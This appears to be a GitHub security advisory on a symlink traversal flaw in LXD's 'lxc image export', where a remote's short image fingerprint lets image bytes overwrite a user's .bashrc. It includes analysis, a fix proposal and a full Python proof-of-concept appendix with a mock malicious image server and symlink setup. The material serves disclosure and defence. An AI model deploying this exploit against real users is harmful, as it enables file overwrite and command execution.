Skip to main content
Menu
Advisories

lxc image export short-fingerprint symlink traversal

GHSA-5JH2-V77P-JR6QPublished Updated GitHub

Description

lxc image export short-fingerprint symlink traversal

Summary

A malicious public LXD image remote can return a one-character image fingerprint, which the client accepts because it checks that the downloaded SHA-256 starts with the returned value. lxc image export uses that remote value as its default output path and resolves local symlinks before opening the file. If a victim runs the command from an attacker-supplied directory containing symlinks to a caller-writable file, the image bytes replace that file; a shell startup file can then execute attacker-controlled commands as the invoking user. This was reproduced with the pinned client source and a full-fingerprint control.

Technical Details

The supported lxc image export REMOTE:ALIAS path resolves the alias in cmdImage.dereferenceAlias, then reads the image object from the remote. ProtocolLXD.GetPrivateImage unmarshals that object and returns it without validating the Fingerprint field. In cmdImageExport.run, the default output target is the current directory and targetMeta is set to image.Fingerprint. The client passes that value through shared.HostPathFollow and calls os.Create on the resolved path before requesting the image bytes.

The export client later checks the downloaded bytes with strings.HasPrefix(hash, fingerprint). That is appropriate for a locally selected short image identifier but insufficient for a value supplied by a remote server: a one-character fingerprint such as b accepts any body whose SHA-256 begins with b. In the reproduction, the image bytes hashed to b31cdd3b2d21b01cd598dfdc7399e7649be2a62d24a7167a2a90e25de95654d4, so the short value passed the check.

The output path is resolved before file creation. A directory entry named b can therefore be a symlink to a file outside the working directory, such as the caller's .bashrc. The unified-image response also supplies the metadata filename .bashrc; the test directory had a second .bashrc symlink to the same target. After download, the export's rename source and resolved destination were the same file, so the rename did not undo the write. The server filename is basenamed by the current client, but basename handling does not prevent HostPathFollow from following a symlink already present at the destination.

The violated invariant is that image data from a remote must remain within the export destination chosen by the user. The remote controls api.Image.Fingerprint, but that value is treated as a local filesystem path before the client has checked the downloaded content.

PoV

The attack uses remote image metadata with fingerprint b and these two entries in the victim's current working directory:

remote metadata: {"fingerprint": "b"}
cwd/b       -> /work/image-export-fingerprint/attack-b/home/.bashrc
cwd/.bashrc -> /work/image-export-fingerprint/attack-b/home/.bashrc
returned image bytes SHA-256: b31cdd3b2d21b01cd598dfdc7399e7649be2a62d24a7167a2a90e25de95654d4 (starts with b)

Both symlinks resolve to the caller-writable .bashrc outside cwd. The returned image bytes hash with prefix b, so the client accepts them. The complete HTTPS fixture and reproduction commands are included in the Reproduction Appendix; it creates an isolated client configuration, home directory, and working directory, advertises a public image remote, and supplies the fingerprint, image bytes, and .bashrc response filename. The attack and control execute the unmodified lxc binary built from the pinned client source.

PoC

Run the appendix commands in order. The attack-b and control-b commands print the corresponding JSON lines below:

{"mode": "attack-b", "result": "violation", "fingerprint": "b", "image_sha256": "b31cdd3b2d21b01cd598dfdc7399e7649be2a62d24a7167a2a90e25de95654d4", "export_returncode": 0, "outside_file_replaced": true, "startup_payload_executed": true, "control_local_output_matches": false}
{"mode": "control-b", "result": "pass", "fingerprint": "b2699fc07b4bacc9febc44a32d70ef79888fed0617f88090e3566503fd486289", "image_sha256": "b2699fc07b4bacc9febc44a32d70ef79888fed0617f88090e3566503fd486289", "export_returncode": 0, "outside_file_replaced": false, "startup_payload_executed": false, "control_local_output_matches": true}

Impact

An attacker controlling a public image server can overwrite files writable by the user running lxc; replacing a shell startup file provides command execution with that user's privileges. No LXD daemon access or root execution was demonstrated. The demonstrated availability effect is limited to the affected user's profile or session, such as replacing a shell startup file; this does not establish unavailability of the LXD client, daemon, or host. The victim must use the attacker-controlled remote and run lxc image export from an attacker-supplied directory containing the symlinks, so the vector records user interaction and high attack complexity. The assessment is CWE-59 with CVSS 3.1 vector CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L (base score 7.1, High).

Suggested Fix

Do not resolve or create paths derived from remote image metadata outside the chosen export directory. Create temporary output files relative to an opened destination directory without following symlinks, and atomically install final names only after verifying they remain within that directory. Treat fingerprint integrity and filesystem confinement as separate checks: require a canonical full SHA-256 fingerprint and verify it against the downloaded bytes, but do not use a remote-supplied value as a path that follows local symlinks.

Add a regression test with a public mock image server that returns a short fingerprint and a matching image body while the output directory contains a symlink to an outside sentinel. The export must fail or safely replace only a file inside the export directory, preserve the outside sentinel, and avoid executing a marker from the linked file. Keep a normal full-fingerprint export as the control.

Affected Package/Versions

  • Package: github.com/canonical/lxd (Go).
  • LXD 6.10.1 is affected. GitHub’s commit API resolves the lxd-6.10.1 tag to commit 5510feb789168953a87959e807055c28fc67ac49, whose commit message identifies the 6.10.1 release. At that release commit, lxc/image.go:583-605 assigns image.Fingerprint to the default output name, passes it through shared.HostPathFollow, and calls os.Create. client/lxd_images.go:143-167 returns the unmarshalled image metadata, and 323-336 accepts a hash with strings.HasPrefix. The runtime reproduction below builds the client at c4a87bc5626cec1a9ee5770f51005b1615db39bb; it does not claim that this runtime reproduction was built from the release tag.
  • No patched version was identified. This report claims only 6.10.1; older maintained LTS releases were not assessed.

Advisory History

GHSA-g4cm-f533-78hq, “CLI path traversal when exporting an image from a malicious server,” covers a related image-export write through a server-controlled unified-image Content-Disposition filename passed to os.Rename. The current LXD client basenames that filename. This report concerns a different remote-controlled value, api.Image.Fingerprint, which is used earlier as the path passed to os.Create; basename handling does not fix it.

The closed canonical/lxd PR #3529, “lxc/image: always use long fingerprint in exported filenames,” changed LXD's server-side export filename when a client requests a short fingerprint. It does not validate a malicious remote's image metadata or confine the local client's filesystem writes. A targeted search for short fingerprints and image export found that closed PR and no matching open issue.

GHSA-pjff-c2wc-f6jm (CVE-2026-48769) describes an arbitrary file write in the LXD daemon’s direct-URL image-import hash path. That advisory concerns daemon-side import handling. This report concerns client-side lxc image export path creation: a remote fingerprint becomes the output name, and a local symlink redirects the write.

One earlier report on a symlink collision in lxc file pull is awaiting review; no prior report has been submitted or completed without submission. This report has a different root cause: the image API's fingerprint field supplies the output path in lxc image export before the image is downloaded. Its fix surface is to validate the remote fingerprint and prevent export path resolution from following symlinks outside the destination.

References

Reproduction Appendix

The fixture below is a standalone reproduction using the pinned Go image golang@sha256:dc0963f32053e4bc451d24d87e3892d42d01021b61f093e98eb95c0352bb84b0. It requires git, Go, Python 3, and OpenSSL, plus outbound HTTPS so Go can download dependencies from https://proxy.golang.org. No pre-populated module cache is needed. The target checkout is /target at c4a87bc5626cec1a9ee5770f51005b1615db39bb; writable fixture files use /work. The payload includes the fixed /work/image-export-fingerprint/<mode>/startup-ran path, so preserve it to reproduce the displayed hashes.

Start with an empty disposable /target and /work in that container. Pin and build the CLI:

git clone https://github.com/canonical/lxd.git /target
git -C /target checkout --detach c4a87bc5626cec1a9ee5770f51005b1615db39bb
mkdir -p /work/bootstrap /work/fixture
rm -rf /work/go-cache /work/go-mod-cache
export GOCACHE=/work/go-cache
export GOMODCACHE=/work/go-mod-cache
export GOPROXY=https://proxy.golang.org,direct
(cd /target && go build -o /work/bootstrap/lxc ./lxc)

Save the following complete fixture as /work/fixture/image-export-symlink-probe.py:

cat > /work/fixture/image-export-symlink-probe.py <<'PY'
import hashlib
import http.server
import json
import os
from pathlib import Path
import ssl
import subprocess
import sys
import threading
import urllib.parse


mode = sys.argv[1]
if mode not in {"attack-b", "attack-7", "control-b", "control-7"}:
    raise SystemExit("expected attack-b, attack-7, control-b, or control-7")

is_attack = mode.startswith("attack-")
prefix = mode.rsplit("-", 1)[1]
workspace = Path("/work/image-export-fingerprint") / mode
workspace.mkdir(parents=True, exist_ok=True)
conf = workspace / "lxc-conf"
conf.mkdir(exist_ok=True)
home = workspace / "home"
home.mkdir(exist_ok=True)
cwd = workspace / "cwd"
cwd.mkdir(exist_ok=True)
marker = workspace / "startup-ran"
if marker.exists():
    marker.unlink()

victim = home / ".bashrc"
sentinel = b"sentinel before image export\n"
victim.write_bytes(sentinel)
payload_base = f"printf attacked > {marker}\n".encode()
payload = None
for pad in range(100000):
    candidate = payload_base + f"# pad {pad}\n".encode()
    digest = hashlib.sha256(candidate).hexdigest()
    if digest.startswith(prefix):
        payload = candidate
        break
if payload is None:
    raise SystemExit("could not find a small payload matching the requested fingerprint prefix")

fingerprint = prefix if is_attack else hashlib.sha256(payload).hexdigest()
if is_attack:
    # The fingerprint path and the final metadata filename resolve to the same
    # external file. The final rename is therefore a same-path no-op on Linux.
    os.symlink(victim, cwd / prefix)
    os.symlink(victim, cwd / ".bashrc")

binary = Path("/work/bootstrap/lxc")
binary.parent.mkdir(parents=True, exist_ok=True)
if not binary.exists():
    build = subprocess.run(
        ["go", "build", "-o", str(binary), "./lxc"],
        cwd="/target",
        text=True,
        capture_output=True,
        timeout=300,
    )
    if build.returncode != 0:
        print("build_stderr", build.stderr[-3000:])
        raise SystemExit(build.returncode)


class Handler(http.server.BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def log_message(self, fmt, *args):
        pass

    def send_json(self, metadata):
        body = json.dumps({
            "type": "sync",
            "status": "Success",
            "status_code": 200,
            "metadata": metadata,
        }).encode()
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        decoded = urllib.parse.unquote(urllib.parse.urlsplit(self.path).path)
        if decoded == "/1.0":
            self.send_json({
                "api_extensions": ["images"],
                "api_status": "stable",
                "api_version": "1.0",
                "auth": "untrusted",
                "auth_methods": ["tls"],
                "public": True,
                "environment": {
                    "addresses": [],
                    "architectures": ["x86_64"],
                    "certificate": "",
                    "server_name": "mock-public-image-server",
                    "server_version": "test",
                },
            })
            return

        if decoded.startswith("/1.0/images/aliases/"):
            alias = decoded.rsplit("/", 1)[-1]
            self.send_json({
                "name": alias,
                "target": fingerprint,
                "type": "container",
                "description": "",
            })
            return

        if decoded.startswith("/1.0/images/") and decoded.endswith("/export"):
            self.send_response(200)
            self.send_header("Content-Type", "application/octet-stream")
            self.send_header("Content-Disposition", 'attachment; filename=".bashrc"')
            self.send_header("Content-Length", str(len(payload)))
            self.end_headers()
            self.wfile.write(payload)
            return

        if decoded.startswith("/1.0/images/"):
            self.send_json({
                "fingerprint": fingerprint,
                "public": True,
                "type": "container",
                "architecture": "x86_64",
                "properties": {},
                "size": len(payload),
            })
            return

        self.send_json({"error": "unexpected path", "path": self.path})


key_path = workspace / "key.pem"
cert_path = workspace / "cert.pem"
cert = subprocess.run([
    "openssl", "req", "-x509", "-newkey", "rsa:2048", "-nodes",
    "-keyout", str(key_path), "-out", str(cert_path), "-days", "1",
    "-subj", "/CN=127.0.0.1", "-addext", "subjectAltName=IP:127.0.0.1",
], text=True, capture_output=True, timeout=30)
if cert.returncode != 0:
    print("openssl_stderr", cert.stderr[-2000:])
    raise SystemExit(cert.returncode)

server = http.server.ThreadingHTTPServer(("127.0.0.1", 0), Handler)
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(str(cert_path), str(key_path))
server.socket = context.wrap_socket(server.socket, server_side=True)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
port = server.server_address[1]
env = os.environ.copy()
env.update({"LXD_CONF": str(conf), "HOME": str(home)})

try:
    remote = subprocess.run([
        str(binary), "remote", "add", "test-remote", f"https://127.0.0.1:{port}",
        "--public", "--accept-certificate",
    ], cwd=cwd, env=env, text=True, capture_output=True, timeout=30)
    export = None
    startup = None
    if remote.returncode == 0:
        export = subprocess.run([
            str(binary), "image", "export", "test-remote:alias",
        ], cwd=cwd, env=env, text=True, capture_output=True, timeout=60)
        if is_attack and export.returncode == 0 and victim.read_bytes() == payload:
            startup = subprocess.run([
                "bash", "--noprofile", "--rcfile", str(victim), "-ic", "true",
            ], cwd=cwd, env=env, text=True, capture_output=True, timeout=10)

    victim_bytes = victim.read_bytes() if victim.exists() else None
    marker_written = marker.exists()
    output = cwd / ".bashrc"
    local_output_matches = not is_attack and output.is_file() and output.read_bytes() == payload
    if remote.returncode != 0 or export is None:
        result = "invalid"
        signal = "remote setup did not reach the image export command"
    elif is_attack:
        if (
            export.returncode == 0
            and victim_bytes == payload
            and startup is not None
            and startup.returncode == 0
            and marker_written
        ):
            result = "violation"
            signal = "short fingerprint symlink caused outside .bashrc replacement and startup execution"
        else:
            result = "invalid"
            signal = "the outside-file overwrite and startup execution were not both observed"
    elif (
        export.returncode == 0
        and victim_bytes == sentinel
        and not marker_written
        and local_output_matches
    ):
        result = "pass"
        signal = "full fingerprint without a matching symlink preserved the outside sentinel"
    else:
        result = "invalid"
        signal = "the full-fingerprint control did not preserve the outside sentinel"

    print(json.dumps({
        "mode": mode,
        "result": result,
        "fingerprint": fingerprint,
        "image_sha256": hashlib.sha256(payload).hexdigest(),
        "export_returncode": None if export is None else export.returncode,
        "outside_file_replaced": victim_bytes == payload,
        "startup_payload_executed": marker_written,
        "control_local_output_matches": local_output_matches,
    }))
    if result == "invalid":
        if export is not None:
            print("export_stderr", export.stderr[-2000:])
        print("remote_stderr", remote.stderr[-2000:])
finally:
    server.shutdown()
    server.server_close()
PY

Run both modes from the same container. Each run uses the same server and client behavior; the attack has a one-character fingerprint and two symlinks to the outside sentinel, while the control uses the full fingerprint and no matching symlink. The commands emit the two JSON lines shown in the PoC section.

rm -rf /work/image-export-fingerprint
python3 /work/fixture/image-export-symlink-probe.py attack-b
python3 /work/fixture/image-export-symlink-probe.py control-b

Affected versions

References

GitHub · canonical/lxd